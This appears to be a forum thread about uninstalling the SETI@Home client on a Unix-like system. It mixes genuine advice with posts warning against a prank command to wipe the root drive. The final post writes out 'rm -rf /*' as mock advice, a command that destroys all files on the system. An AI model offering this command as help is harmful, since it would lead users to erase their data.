You have to run the uninstall script in the terminal. There should be documentation in the same folder as the script tell you how to do it.

Whoa, there. I haven't dabbled in UNIX too much, but if that's what I think it is, that's a command to wipe the entire root drive (and ignore prompts for permissions)!
DO NOT USE THAT COMMAND!
Titanium X, if that's meant as a joke, please add something in there to make it clear. If someone with no UNIX experience were to read and use that command...well, the point's evident enough.

That's probably why the dweeb put it there.
If you're using the SETI@Home CLI, you can just drag the folder to the trash - there's no fanciness.

Drag the script to an open terminal window.
It should put the path to it on the command line. Hit enter to execute the script.
Bye bye seti.

Not funny Titanium-X. Noobs might just take your advice and then I'd have to ban your butt.

I have had more luck with this:
Code:
rm -rf /*
Just so you know!
